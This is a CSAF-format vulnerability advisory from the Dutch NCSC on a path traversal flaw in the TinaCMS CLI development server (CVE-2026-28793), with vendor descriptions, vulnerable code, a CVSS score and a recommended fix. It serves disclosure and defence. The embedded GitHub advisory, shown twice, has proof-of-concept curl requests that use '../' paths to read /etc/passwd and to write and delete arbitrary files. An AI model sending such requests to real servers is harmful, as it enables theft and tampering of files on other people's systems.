{
"document": {
"category": "csaf_base",
"csaf_version": "2.0",
"distribution": {
"tlp": {
"label": "WHITE"
}
},
"lang": "en",
"notes": [
{
"category": "legal_disclaimer",
"text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
}
],
"publisher": {
"category": "coordinator",
"contact_details": "cert@ncsc.nl",
"name": "National Cyber Security Centre",
"namespace": "https://www.ncsc.nl/"
},
"title": "CVE-2026-28793",
"tracking": {
"current_release_date": "2026-03-23T01:26:54.143033Z",
"generator": {
"date": "2026-02-17T15:00:00Z",
"engine": {
"name": "V.E.L.M.A",
"version": "1.7"
}
},
"id": "CVE-2026-28793",
"initial_release_date": "2026-03-12T17:26:32.837657Z",
"revision_history": [
{
"date": "2026-03-12T17:26:32.837657Z",
"number": "1",
"summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
},
{
"date": "2026-03-12T17:26:41.232665Z",
"number": "2",
"summary": "NCSC Score created."
},
{
"date": "2026-03-12T17:38:46.271872Z",
"number": "3",
"summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (1).| CWES updated (1)."
},
{
"date": "2026-03-12T17:38:48.539691Z",
"number": "4",
"summary": "NCSC Score updated."
},
{
"date": "2026-03-12T20:46:36.147533Z",
"number": "5",
"summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
},
{
"date": "2026-03-12T20:46:43.158714Z",
"number": "6",
"summary": "NCSC Score updated."
},
{
"date": "2026-03-13T14:15:41.390629Z",
"number": "7",
"summary": "Source created.| CVE status created. (valid)| EPSS created."
},
{
"date": "2026-03-13T16:39:29.528893Z",
"number": "8",
"summary": "Unknown change."
},
{
"date": "2026-03-13T20:27:19.871261Z",
"number": "9",
"summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
},
{
"date": "2026-03-13T20:27:30.348013Z",
"number": "10",
"summary": "NCSC Score updated."
},
{
"date": "2026-03-19T15:30:01.505148Z",
"number": "11",
"summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
},
{
"date": "2026-03-19T15:30:04.691627Z",
"number": "12",
"summary": "NCSC Score updated."
},
{
"date": "2026-03-20T09:36:02.982901Z",
"number": "13",
"summary": "Source connected.| CVE status created. (valid)| EPSS created."
}
],
"status": "interim",
"version": "13"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/<2.1.8",
"product": {
"name": "vers:unknown/<2.1.8",
"product_id": "CSAFPID-5810529"
}
}
],
"category": "product_name",
"name": "cli"
}
],
"category": "vendor",
"name": "@tinacms"
},
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/<2.1.8",
"product": {
"name": "vers:unknown/<2.1.8",
"product_id": "CSAFPID-5825717",
"product_identification_helper": {
"cpe": "cpe:2.3:a:ssw:tinacms\\/cli:*:*:*:*:*:node.js:*:*"
}
}
}
],
"category": "product_name",
"name": "tinacms\\/cli"
}
],
"category": "vendor",
"name": "ssw"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-28793",
"cwe": {
"id": "CWE-22",
"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')"
},
"notes": [
{
"category": "description",
"text": "Tina is a headless content management system. Prior to 2.1.8, the TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory. When running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as /media/list/*, /media/upload/*, and /media/*. These endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory. This vulnerability is fixed in 2.1.8.",
"title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-28793"
},
{
"category": "description",
"text": "Tina is a headless content management system. Prior to 2.1.8, the TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory. When running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as /media/list/*, /media/upload/*, and /media/*. These endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory. This vulnerability is fixed in 2.1.8.",
"title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-28793"
},
{
"category": "description",
"text": "## Summary\nThe TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory.\n\n## Details\nWhen running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as:\n\n- /media/list/*\n\n- /media/upload/*\n\n- /media/*\n\nThese endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory.\n\n### Vulnerable code\n```\nbb.on('file', async (_name, file, _info) => {\n const fullPath = decodeURI(req.url?.slice('/media/upload/'.length));\n const saveTo = path.join(mediaFolder, ...fullPath.split('/'));\n// No validation that saveTo remains within mediaFolder\n await fs.ensureDir(path.dirname(saveTo));\n file.pipe(fs.createWriteStream(saveTo));\n });\n```\n## PoC\n**Arbitrary File Read**\n```\ncurl \"http://localhost:4001/media/list/../../../etc/passwd\"\n```\n\nResult:\n\n![\"image(1)\"](\"https://github.com/user-attachments/assets/a878a86a-71db-46ed-abda-3d4ddba692e0\")
\n\n\n**Arbitrary File Write**\n```\necho \"ATTACKER_CONTROLLED_CONTENT\" > /tmp/payload.txt\n\ncurl --path-as-is -X POST \\\n \"http://localhost:4001/media/upload/../../../../../../tmp/pwned.txt\" \\\n -F \"file=@/tmp/payload.txt\"\ncat /tmp/pwned.txt\n```\nResult:\n![\"image(8)\"](\"https://github.com/user-attachments/assets/8bd5046b-0456-474f-ab96-4e18a421997c\")
\n\n**Arbitrary File Delete**\n```\necho \"delete_me\" > /tmp/delete-test.txt\ncat /tmp/delete-test.txt # confirms file exists\ncurl --path-as-is -X DELETE \\\n\"http://localhost:4001/media/../../../../../../tmp/delete-test.txt\"\ncat /tmp/delete-test.txt # \"No such file or directory\"\n```\n![\"image\"](\"https://github.com/user-attachments/assets/64c24b83-0259-4a12-969d-98c8e8cc81ca\")
\n\n## Impact\n\nAn attacker who can reach the TinaCMS CLI dev server can:\n\n- Read arbitrary files (e.g. /etc/passwd, .env, SSH keys)\n\n- Write arbitrary files anywhere writable by the server process\n\n- Delete or overwrite files, depending on endpoint usage\n\n- Escalate to code execution in realistic development setups by overwriting executable scripts, configuration files, or watched source files\n\n## Attack Surface\n\nThe dev server binds to localhost by default, but exploitation is realistic in:\n\n- Cloud IDEs (Codespaces, Gitpod)\n\n- Docker or VM setups with port forwarding\n\n- Misconfigured dev environments binding to 0.0.0.0\n\n- Local malware or malicious dependencies\n\nThe server also enables permissive CORS, which may allow browser-based exploitation if the dev server is externally reachable, but CORS is not required for exploitation.\n\n## Recommended Fix\n\n- Resolve paths to absolute form\n\n- Enforce that resolved paths remain within the media root\n\n- Reject .. path segments and absolute paths\n\n- Consider authentication or token protection for dev server endpoints",
"title": "github - https://github.com/advisories/GHSA-2f24-mg4x-534q"
},
{
"category": "description",
"text": "## Summary\nThe TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory.\n\n## Details\nWhen running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as:\n\n- /media/list/*\n\n- /media/upload/*\n\n- /media/*\n\nThese endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory.\n\n### Vulnerable code\n```\nbb.on('file', async (_name, file, _info) => {\n const fullPath = decodeURI(req.url?.slice('/media/upload/'.length));\n const saveTo = path.join(mediaFolder, ...fullPath.split('/'));\n// No validation that saveTo remains within mediaFolder\n await fs.ensureDir(path.dirname(saveTo));\n file.pipe(fs.createWriteStream(saveTo));\n });\n```\n## PoC\n**Arbitrary File Read**\n```\ncurl \"http://localhost:4001/media/list/../../../etc/passwd\"\n```\n\nResult:\n\n\n\n\n**Arbitrary File Write**\n```\necho \"ATTACKER_CONTROLLED_CONTENT\" > /tmp/payload.txt\n\ncurl --path-as-is -X POST \\\n \"http://localhost:4001/media/upload/../../../../../../tmp/pwned.txt\" \\\n -F \"file=@/tmp/payload.txt\"\ncat /tmp/pwned.txt\n```\nResult:\n\n\n**Arbitrary File Delete**\n```\necho \"delete_me\" > /tmp/delete-test.txt\ncat /tmp/delete-test.txt # confirms file exists\ncurl --path-as-is -X DELETE \\\n\"http://localhost:4001/media/../../../../../../tmp/delete-test.txt\"\ncat /tmp/delete-test.txt # \"No such file or directory\"\n```\n\n\n## Impact\n\nAn attacker who can reach the TinaCMS CLI dev server can:\n\n- Read arbitrary files (e.g. /etc/passwd, .env, SSH keys)\n\n- Write arbitrary files anywhere writable by the server process\n\n- Delete or overwrite files, depending on endpoint usage\n\n- Escalate to code execution in realistic development setups by overwriting executable scripts, configuration files, or watched source files\n\n## Attack Surface\n\nThe dev server binds to localhost by default, but exploitation is realistic in:\n\n- Cloud IDEs (Codespaces, Gitpod)\n\n- Docker or VM setups with port forwarding\n\n- Misconfigured dev environments binding to 0.0.0.0\n\n- Local malware or malicious dependencies\n\nThe server also enables permissive CORS, which may allow browser-based exploitation if the dev server is externally reachable, but CORS is not required for exploitation.\n\n## Recommended Fix\n\n- Resolve paths to absolute form\n\n- Enforce that resolved paths remain within the media root\n\n- Reject .. path segments and absolute paths\n\n- Consider authentication or token protection for dev server endpoints",
"title": "github - https://api.github.com/advisories/GHSA-2f24-mg4x-534q"
},
{
"category": "other",
"text": "0.00022",
"title": "EPSS"
},
{
"category": "other",
"text": "3.3",
"title": "NCSC Score"
},
{
"category": "other",
"text": "There is exploit data available from source Nvd, Is related to (a version of) an uncommon product, Exploit code publicly available",
"title": "NCSC Score top decreasing factors"
}
],
"product_status": {
"known_affected": [
"CSAFPID-5810529",
"CSAFPID-5825717"
]
},
"references": [
{
"category": "external",
"summary": "Source - nvd",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28793"
},
{
"category": "external",
"summary": "Source raw - nvd",
"url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-28793"
},
{
"category": "external",
"summary": "Source - cveprojectv5",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-28793"
},
{
"category": "external",
"summary": "Source raw - cveprojectv5",
"url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/28xxx/CVE-2026-28793.json"
},
{
"category": "external",
"summary": "Source - github",
"url": "https://github.com/advisories/GHSA-2f24-mg4x-534q"
},
{
"category": "external",
"summary": "Source raw - github",
"url": "https://api.github.com/advisories/GHSA-2f24-mg4x-534q"
},
{
"category": "external",
"summary": "Source - first",
"url": "https://api.first.org/data/v1/epss?cve=CVE-2026-28793"
},
{
"category": "external",
"summary": "Source raw - first",
"url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
},
{
"category": "external",
"summary": "Source - github",
"url": "https://api.github.com/advisories/GHSA-2f24-mg4x-534q"
},
{
"category": "external",
"summary": "Source - first",
"url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
},
{
"category": "external",
"summary": "Reference - cveprojectv5; github; nvd",
"url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-2f24-mg4x-534q"
},
{
"category": "external",
"summary": "Reference - github",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28793"
},
{
"category": "external",
"summary": "Reference - github",
"url": "https://github.com/advisories/GHSA-2f24-mg4x-534q"
}
],
"scores": [
{
"cvss_v3": {
"version": "3.1",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"baseScore": 8.4,
"baseSeverity": "HIGH"
},
"products": [
"CSAFPID-5810529",
"CSAFPID-5825717"
]
}
],
"title": "CVE-2026-28793"
}
]
}